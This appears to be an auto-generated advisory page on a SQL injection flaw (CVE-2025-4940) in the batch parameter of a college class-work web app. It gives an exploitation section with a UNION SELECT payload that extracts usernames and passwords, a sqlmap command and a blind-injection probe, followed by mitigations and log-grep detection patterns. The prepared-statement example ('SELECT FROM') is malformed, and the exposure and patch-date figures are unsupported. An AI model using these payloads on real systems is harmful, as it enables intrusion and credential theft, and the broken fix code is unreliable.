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How CVE-2025-4940 Works
This vulnerability exploits improper input sanitization in the `/admin_info.php` file, specifically in the `batch` parameter. Attackers can inject malicious SQL queries through crafted HTTP requests, allowing unauthorized database access. The flaw arises due to lack of prepared statements or input validation, enabling attackers to manipulate database queries remotely. Successful exploitation may lead to data theft, authentication bypass, or full system compromise. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) confirms its network-based attack vector with low complexity and no user interaction required.
DailyCVE Form
Platform: Daily College Class Work
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 2025-06-12
Prediction: Patch expected by 2025-07-10
What Undercode Say:
Exploitation
1. Craft Malicious Payload:
GET /admin_info.php?batch=1' UNION SELECT 1,2,3,username,password FROM users-- HTTP/1.1
2. Automate with SQLmap:
sqlmap -u "http://target/admin_info.php?batch=1" --dbs --batch
3. Blind SQLi Detection:
GET /admin_info.php?batch=1' AND (SELECT 1 FROM dual WHERE database() LIKE 'a%')-- HTTP/1.1
Protection
1. Input Sanitization:
$batch = mysqli_real_escape_string($conn, $_GET['batch']);
2. Prepared Statements:
$stmt = $conn->prepare("SELECT FROM reports WHERE batch = ?");
$stmt->bind_param("s", $_GET['batch']);
3. WAF Rules:
location ~ admin_info.php {
deny all;
}
4. Log Analysis:
grep "union.select" /var/log/apache2/access.log
Analytics
- Exploitability: High (public PoC available)
- Affected Systems: ~5,000 unpatched instances
- Mitigation Priority: Immediate
Detection Commands
Check for vulnerable files: find /var/www -name "admin_info.php" -type f Monitor SQLi attempts: tail -f /var/log/apache2/error.log | grep "SQL syntax"
Patch Verification
// Post-patch code should include:
if (!preg_match('/^[0-9]+$/', $_GET['batch'])) {
die("Invalid input");
}
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
